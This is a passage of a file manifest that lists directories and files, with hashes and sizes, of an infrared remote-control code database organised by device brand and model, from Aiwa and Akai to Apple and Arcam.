-D:infrared/_CSV-IRDB_/Technosonic -D:infrared/_CSV-IRDB_/Technotrend -D:infrared/_CSV-IRDB_/Teleka -D:infrared/_CSV-IRDB_/Telemann -D:infrared/_CSV-IRDB_/Televes -D:infrared/_CSV-IRDB_/Tensai -D:infrared/_CSV-IRDB_/Terratec -D:infrared/_CSV-IRDB_/Tesla -D:infrared/_CSV-IRDB_/Tevion -D:infrared/_CSV-IRDB_/Theta Digital -D:infrared/_CSV-IRDB_/Thinkgeek -D:infrared/_CSV-IRDB_/Thompson -D:infrared/_CSV-IRDB_/Thomson -D:infrared/_CSV-IRDB_/TiVo -D:infrared/_CSV-IRDB_/Tivoli -D:infrared/_CSV-IRDB_/Tokai -D:infrared/_CSV-IRDB_/Topfield -D:infrared/_CSV-IRDB_/Topseed -D:infrared/_CSV-IRDB_/Toshiba -D:infrared/_CSV-IRDB_/Total Control -D:infrared/_CSV-IRDB_/Total Media In Hand -D:infrared/_CSV-IRDB_/Traxis -D:infrared/_CSV-IRDB_/Trust -D:infrared/_CSV-IRDB_/Trutech -D:infrared/_CSV-IRDB_/Turtle Beach -D:infrared/_CSV-IRDB_/Turtlebeach -D:infrared/_CSV-IRDB_/Twinhan -D:infrared/_CSV-IRDB_/Typhoon -D:infrared/_CSV-IRDB_/UEC -D:infrared/_CSV-IRDB_/UPC -D:infrared/_CSV-IRDB_/US Electronics -D:infrared/_CSV-IRDB_/Ultrawave -D:infrared/_CSV-IRDB_/Umax -D:infrared/_CSV-IRDB_/Uniden -D:infrared/_CSV-IRDB_/United -D:infrared/_CSV-IRDB_/Universal -D:infrared/_CSV-IRDB_/Velodyne -D:infrared/_CSV-IRDB_/Venturer -D:infrared/_CSV-IRDB_/Vestel -D:infrared/_CSV-IRDB_/Video7 -D:infrared/_CSV-IRDB_/Vidikron -D:infrared/_CSV-IRDB_/ViewSonic -D:infrared/_CSV-IRDB_/Viewmaster -D:infrared/_CSV-IRDB_/Viewsat -D:infrared/_CSV-IRDB_/Virgin-media -D:infrared/_CSV-IRDB_/Visionetics -D:infrared/_CSV-IRDB_/Vistron -D:infrared/_CSV-IRDB_/Vivanco -D:infrared/_CSV-IRDB_/Vizio -D:infrared/_CSV-IRDB_/VocoPro -D:infrared/_CSV-IRDB_/Voxson -D:infrared/_CSV-IRDB_/WD -D:infrared/_CSV-IRDB_/Westinghouse -D:infrared/_CSV-IRDB_/Wilfa -D:infrared/_CSV-IRDB_/XMS -D:infrared/_CSV-IRDB_/XORO -D:infrared/_CSV-IRDB_/Xantech -D:infrared/_CSV-IRDB_/Xlogic -D:infrared/_CSV-IRDB_/Xtreamer -D:infrared/_CSV-IRDB_/YES -D:infrared/_CSV-IRDB_/Yakumo -D:infrared/_CSV-IRDB_/Yamada -D:infrared/_CSV-IRDB_/Yamaha -D:infrared/_CSV-IRDB_/Yamakawa -D:infrared/_CSV-IRDB_/Yuan -D:infrared/_CSV-IRDB_/Zalman -D:infrared/_CSV-IRDB_/Zehnder -D:infrared/_CSV-IRDB_/Zenith -D:infrared/_CSV-IRDB_/Zephir -D:infrared/_CSV-IRDB_/Zinwell -D:infrared/_CSV-IRDB_/Zolid -D:infrared/_CSV-IRDB_/Zoltrix -D:infrared/_CSV-IRDB_/Zyxel -D:infrared/_CSV-IRDB_/anysee -D:infrared/_CSV-IRDB_/audiosonic -D:infrared/_CSV-IRDB_/cenOmax -D:infrared/_CSV-IRDB_/daytron -D:infrared/_CSV-IRDB_/dual -D:infrared/_CSV-IRDB_/eltax -D:infrared/_CSV-IRDB_/fenner -D:infrared/_CSV-IRDB_/huth -D:infrared/_CSV-IRDB_/iPort -D:infrared/_CSV-IRDB_/imon -D:infrared/_CSV-IRDB_/ione -D:infrared/_CSV-IRDB_/italtel -D:infrared/_CSV-IRDB_/kendo -D:infrared/_CSV-IRDB_/konig -D:infrared/_CSV-IRDB_/kosmos -D:infrared/_CSV-IRDB_/mStation -D:infrared/_CSV-IRDB_/media-tech -D:infrared/_CSV-IRDB_/mivar -D:infrared/_CSV-IRDB_/multiTEC -D:infrared/_CSV-IRDB_/oceanic -D:infrared/_CSV-IRDB_/orion -D:infrared/_CSV-IRDB_/palmbutler -D:infrared/_CSV-IRDB_/remotec -D:infrared/_CSV-IRDB_/roadstar -D:infrared/_CSV-IRDB_/rubin -D:infrared/_CSV-IRDB_/starhub -D:infrared/_CSV-IRDB_/sun -D:infrared/_CSV-IRDB_/trio -D:infrared/_CSV-IRDB_/universum -D:infrared/_CSV-IRDB_/videologic -D:infrared/_CSV-IRDB_/viewmaxpro -D:infrared/_CSV-IRDB_/xsat -F:3b0d4c62480f39dfdde0ee7ed9eb186f:572:infrared/_CSV-IRDB_/ReadMe.md -D:infrared/_CSV-IRDB_/2wire/Unknown_2wire -F:d06f4b66295971ae0bddd3c66236796e:1748:infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir -D:infrared/_CSV-IRDB_/3M/Projector -D:infrared/_CSV-IRDB_/3M/Video Projector -F:0cb3b13a4ec368f42d167f67ecd95074:1431:infrared/_CSV-IRDB_/3M/Projector/134,-1.ir -F:0cb3b13a4ec368f42d167f67ecd95074:1431:infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir -D:infrared/_CSV-IRDB_/ABIT/DVD_WINDVD -F:094ce5f107a9d2b9c88b27ebdb22cc25:3224:infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir -D:infrared/_CSV-IRDB_/ABS/SAT_8776 -F:3f5c1170e3a08d024b74cdb0df2b8a72:2699:infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir -D:infrared/_CSV-IRDB_/ADA/Millenium -F:45d6e8e79e1d94ecafa4c1252c36c56f:122:infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir -D:infrared/_CSV-IRDB_/ADB/SAT_ICAN3000 -D:infrared/_CSV-IRDB_/ADB/Set Top Box -F:c2c9833e3719d16f5c35ed06eb168da4:3145:infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir -F:5302ce22bb0d82108f661fe17d54ea59:3322:infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir -D:infrared/_CSV-IRDB_/ADS/AUDIO_Tech -D:infrared/_CSV-IRDB_/ADS/TV_Instant -F:99f88ed6fdd22d1ed59019922b97c8f6:2257:infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir -F:b8cb8282ba162c5d616282147db219ce:3954:infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir -D:infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126 -D:infrared/_CSV-IRDB_/AIM/RADIO -F:53c8000c0e063f8096c9f68b1c3bb8a9:4349:infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir -F:b31d56277c1953455c32c6c6ed53a1bd:1560:infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir -D:infrared/_CSV-IRDB_/ANITECH/TV -F:a3c77bd03cc744d98012aed79ea53c69:772:infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir -D:infrared/_CSV-IRDB_/AOC/TV -F:a8a2677915a10a6a8bd5e984ee51fde2:2219:infrared/_CSV-IRDB_/AOC/TV/0,189.ir -D:infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U -F:0ce8e8fc3822be5ae9ded2781e10f052:2524:infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir -D:infrared/_CSV-IRDB_/AccessMedia/ThinBox -F:358aa8b6b342cfc4ab4d479bd4c16477:3243:infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir -D:infrared/_CSV-IRDB_/Accupel/Signal Generator -F:5631f118aa3449cb6b0307e3e68ccb5a:2221:infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir -D:infrared/_CSV-IRDB_/Acer/Projector -D:infrared/_CSV-IRDB_/Acer/Unknown_AT3201W -D:infrared/_CSV-IRDB_/Acer/Unknown_Aspire -D:infrared/_CSV-IRDB_/Acer/Unknown_RC-802 -F:509bf9c52e176e6e85d9c02dc6479cc6:123:infrared/_CSV-IRDB_/Acer/Projector/8,19.ir -F:f63e16c8c4273455f26bb8b97ba40c37:4610:infrared/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir -F:f76e1960d5ceb9eba1be6b61506d0777:4089:infrared/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir -F:b510f474735be79aced47bfd6f2cbeaa:4311:infrared/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir -D:infrared/_CSV-IRDB_/Acesonic/Karaoke -F:6e051ac106519b24d747d4970e181f5d:5158:infrared/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir -F:2ca6a4054ab62a1801fc2fc5781a3b76:2934:infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir -D:infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121 -F:ce7259933d1454c3a6e0294a18f1cc3f:4286:infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir -D:infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878 -F:b26d1acb410dcb45838190976515a3b5:3254:infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir -D:infrared/_CSV-IRDB_/Adcom/AV Preamplifier -D:infrared/_CSV-IRDB_/Adcom/CD Player -D:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier -D:infrared/_CSV-IRDB_/Adcom/Receiver -D:infrared/_CSV-IRDB_/Adcom/Surround Processor -D:infrared/_CSV-IRDB_/Adcom/Tuner -D:infrared/_CSV-IRDB_/Adcom/Unknown -F:db9c18f005c58bdd4df9bd15847fcc6f:6115:infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir -F:b1fdac154cf2f2a5bd21b17ed5027392:4483:infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir -F:de6d49b42f4d8e1fad14129f95dcf082:423:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir -F:5a4f53e36212345c3c5e82ac7570081b:15791:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir -F:e64ae6e40fd75e5059146a20059183ce:2818:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir -F:e8e32b9a1d351d0c25906499f9baf241:2710:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir -F:1a65045c4d269ca2cb05441d46709896:423:infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir -F:f748d5d37210ec08ddd40109baf52694:5601:infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir -F:11bad042af222b77cad3e0b217b7c9de:1038:infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir -F:9c3f507daf9ad37aeda5e6b741604fc5:2271:infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir -F:224a6628c5c4bb256cedad909c574bc3:1538:infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir -F:ea004982843b4d1bbcdcbd94fbd9bcfc:2257:infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir -F:9816e3b39fc56b3fd4c5962c9ed22c35:2087:infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir -F:c19c6bb328b4da8dc04faa9a8af76462:2096:infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir -D:infrared/_CSV-IRDB_/Adelphia/Cable Box -F:13eba681dbef80d1acf4c5b469b6d3f3:2482:infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir -F:8bebc0300dc29584da02bdc960b38503:300:infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir -F:1c628dffc60f7072823e398749e9c095:3545:infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir -D:infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic -F:b35d529475359ef97d788ce1fd1ad51b:843:infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir -D:infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier -F:e7a7347f95ebe58921c1eace45d9d5c9:1409:infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir -D:infrared/_CSV-IRDB_/Airmate/Fan -F:14c0d4bf3387f6448d2d110faa6c6779:653:infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir -D:infrared/_CSV-IRDB_/Aiwa/CD Player -D:infrared/_CSV-IRDB_/Aiwa/Cassette Tape -D:infrared/_CSV-IRDB_/Aiwa/Mini System -D:infrared/_CSV-IRDB_/Aiwa/Receiver -D:infrared/_CSV-IRDB_/Aiwa/Unknown -D:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA -D:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_S79 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_hu -D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b -D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650 -D:infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14 -D:infrared/_CSV-IRDB_/Aiwa/VCR -F:82ef9cc2a9debaf6b1abd7e2ef87d6c7:1490:infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir -F:b9a72bdd49262c7b5032a7919689eab3:2955:infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir -F:1505a830d6250ec544e4291d4563a491:1987:infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir -F:f74c4bf9a6586b6d55ecf29c5a463dfa:763:infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir -F:55754da92c9f5366b960e31752f0a7b2:597:infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir -F:fcbaf60d7a5a58fb960cc838e5c04594:986:infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir -F:dbd655c3019dfa4ec4a897961abd6fdf:217:infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir -F:1b7a781b80e5d8753441271fe7cb4dd3:3933:infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir -F:12e738473521d200c4f27295393f03b2:2992:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir -F:3ee39408ff0a3dc6f1bf513146e3b636:1882:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir -F:fff3213348957af4380ec5303cf56822:3307:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir -F:29c1cc1278f2ca7c6d419106b7abd211:1447:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir -F:f5aa59c5dbaf76ec2d7defccd0847d81:1114:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir -F:e733905deb3b1de6ce181783e54aca54:3750:infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir -F:f9af41457f2619e0b4077e18d059880d:2241:infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir -F:6cf81b73221005049b0f53cff8b7a02f:2244:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir -F:f1d22ea256f43b1fc9136522e7f8b412:2956:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir -F:f4f91434f754d7c4a5bc9554546d77e6:3218:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir -F:30cdb21d6541a55ae339c69c6f31d241:2871:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir -F:499aa0b62347e256ef342f49e3b7471a:2242:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir -F:a52da94c5965182daadc74888d259bf5:3308:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir -F:5e36000f6a17a4e9517b02ffea89299b:1518:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir -F:f59434841c68353d7792ab96a1f4864e:2606:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir -F:9fd68183eca026d5ab5cb89ef26e4dbb:3494:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir -F:6d1ab29c20c252a848607f03ceed8a58:2860:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir -F:1e882853549f8a3b2fee831f7fcc07ee:3131:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir -F:781043582ff4cfc658c5b966bce7b7e4:2766:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir -F:c6bef074ae8172fb83615840e5c2ad46:2462:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir -F:fb670cc94d51e21b8c52586b89b4f0e3:3284:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir -F:fd4d972ad91b3a6df57e9d005da56d2b:3205:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir -F:04ba55af1f56027cc3ca9ef155a49c59:3384:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir -F:7da7f7fac941282ca4645bd0d3d1ad3b:3645:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir -F:5b620096d3163f3d08c07c900eeef14e:3657:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir -F:2bf6aeed4ec8b3c63b5f42e0b5f58e26:1036:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir -F:31af76c743fb3dd36af083bcf3201ab0:3641:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir -F:22fd8f647b291bc7d6578dd26dd3dd00:2063:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir -F:662e589d64b2e93224fe5e9672266d83:1709:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir -F:89b821ae2897907f1a5acf856a253ddd:2246:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir -F:3d28db3294877fccf09fa463cab8d317:5084:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir -F:2d9d82c88dc7bf4b819d1ff699f94126:1635:infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir -F:6df332b28fff521bf50aafc5c26499af:1789:infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir -F:b3dadab00ed0e0667cd9e3295e18eb98:3545:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir -F:7782a412747908540a6cd77e835ad145:3617:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir -F:db3e19d1eda1bb05b6b2b1f497700e78:3236:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir -F:a0d977c5cdf37977eaa2c7b93c31f958:3015:infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir -F:b27e73bb6395321efaf598e0574d0c36:5909:infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir -F:41bc61f2a0b1a850737c1d56a34605c2:938:infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir -D:infrared/_CSV-IRDB_/Akai/CD Player -D:infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100 -D:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A -D:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E -D:infrared/_CSV-IRDB_/Akai/Unknown_RC-C79 -D:infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E -D:infrared/_CSV-IRDB_/Akai/Unknown_akai -D:infrared/_CSV-IRDB_/Akai/Unknown_rc-c37 -F:18916a5d1fcfa2e9a85614cfa16976fb:1802:infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir -F:427d02e30dda349460f4ef2a65689d1c:2710:infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir -F:94c1d36a7f57fcadf56a93e0e7e50b68:2967:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir -F:a8ae0d7cb145310b9c403fc86c9858ce:1461:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir -F:f0169d8203ca84165bdc7f001a1f3d66:3889:infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir -F:49d465fec23431fceabcb3092d580f57:2804:infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir -F:4916955358207311aff2fc1039172549:3882:infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir -F:82f3bd4927810a72c9b0432b6f98fcf5:3064:infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir -F:def9b3f7e82d6e8ef64fc6c4410a489b:1975:infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir -D:infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio -F:dab8d72d8aed6ecf5412affea80bfa8b:1752:infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir -D:infrared/_CSV-IRDB_/Aopen/Media PC -D:infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470 -F:cb87742f4fe045fee44c45dbe725ec27:4015:infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir -F:9cda908771545e237350d33a569d54bc:4147:infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir -D:infrared/_CSV-IRDB_/Apex/DVD Player -D:infrared/_CSV-IRDB_/Apex/Unknown_AD-600A -D:infrared/_CSV-IRDB_/Apex/Unknown_DV-R200 -D:infrared/_CSV-IRDB_/Apex/Unknown_DV-R383 -D:infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2 -D:infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5 -D:infrared/_CSV-IRDB_/Apex/Unknown_RM-1200 -D:infrared/_CSV-IRDB_/Apex/Unknown_RM-2600 -F:56f37d100cf6e41f6e6063be30591c71:3941:infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir -F:e5984e30b6733024454216843c26331b:4564:infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir -F:351647ef08a107bd78338758756ae51e:4022:infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir -F:e90844fef854c1c3dfcff6dc776a6844:4015:infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir -F:877a2b887ea78e9e88ee327e4b73fad1:2597:infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir -F:6eeef2b21c82bb240e5e66d9b39ccfbf:2861:infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir -F:7cff37b4d40a064c73738a10cb9d429d:4203:infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir -F:d8064d538477ff4955f17db9d3aec31e:4277:infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir -D:infrared/_CSV-IRDB_/Apple/Apple TV -D:infrared/_CSV-IRDB_/Apple/Computer -D:infrared/_CSV-IRDB_/Apple/Digital Jukebox -D:infrared/_CSV-IRDB_/Apple/MP3 Player -D:infrared/_CSV-IRDB_/Apple/Unknown_CD -D:infrared/_CSV-IRDB_/Apple/iPod -F:00225c84a46fc041a9a968328d25afee:2316:infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir -F:8c7a98cad01dc6b3f9cc99cdebb14c6a:1376:infrared/_CSV-IRDB_/Apple/Computer/238,135.ir -F:746b019e212a75faed5d4770dbfb8b6d:1145:infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir -F:65ce6074b898b687fc4e94344928363b:2038:infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir -F:52a4af5750c5e27dd094f9384a54e44c:915:infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir -F:b83e25226145112556928d46dd074d2a:3385:infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir -F:1ebbe72c133b9a8d1e936627d50b8632:567:infrared/_CSV-IRDB_/Apple/iPod/238,135.ir -D:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier -F:d0d50c0fd30beb72ea9f877b94a6eba6:2113:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir -F:d454da21f81c2779cf10b4689b35badb:6839:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir -D:infrared/_CSV-IRDB_/Arcam/CD Player -D:infrared/_CSV-IRDB_/Arcam/DVD Player -D:infrared/_CSV-IRDB_/Arcam/Music System -D:infrared/_CSV-IRDB_/Arcam/Pre-Amplifier -D:infrared/_CSV-IRDB_/Arcam/Receiver -D:infrared/_CSV-IRDB_/Arcam/Surround Receiver -D:infrared/_CSV-IRDB_/Arcam/Tuner -D:infrared/_CSV-IRDB_/Arcam/Unknown_AV200 -D:infrared/_CSV-IRDB_/Arcam/Unknown_Arcam -F:a1a854fa96d47beabeb18a7bd5c5bdcc:210:infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir -F:6491f729f0d191e5416f0c1f8a831c09:118:infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir -F:3a9a813c322ef066a93eeae1709dbd8b:1997:infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir -F:d3e65259c1f22c67916c5ad5fe26c92e:367:infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir -F:02c21af846b7df178bec30bbb81b489d:19415:infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir -F:ced80155dd95eed4a6176c5cdb55cde1:6533:infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir -F:74cb163882bc1de5fce72348ca64ef20:2384:infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir -F:0b6a39c3a1e4809f9440cea9605dbf15:2429:infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir -F:cf817365cb1f6cb26c762544f694ccde:5916:infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir -F:a3446d19047ec8cbaeee56971ba167ef:118:infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir -F:e828b53570fe95cc8d1dfd30301562ae:18595:infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir -F:85b12fbc2172373e6722091d464ee192:5339:infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir -F:d4c3182003b54fc915a72cc09ef94b86:1251:infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir -F:6e060f2ae553ab4555c7705444dd4d96:2466:infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir -F:c754cbbd2f86e4d0a850a1f7eabbf6b0:659:infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir -F:a3446d19047ec8cbaeee56971ba167ef:118:infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir -F:c9b1fc2cdf942e7e9dc57a07eae68d54:1959:infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir -F:f57b2e4d9b8240892cd87faf4507901a:397:infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir -F:407379f24c8ce8c566da49a15e3df85d:1753:infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir -F:b4e358af5c953b786872d0f62ffbdb9e:2430:infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir -F:de5bf991bee3ce808524070cc384410e:1725:infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir -D:infrared/_CSV-IRDB_/Architectural Audio/Amplifier -D:infrared/_CSV-IRDB_/Architectural 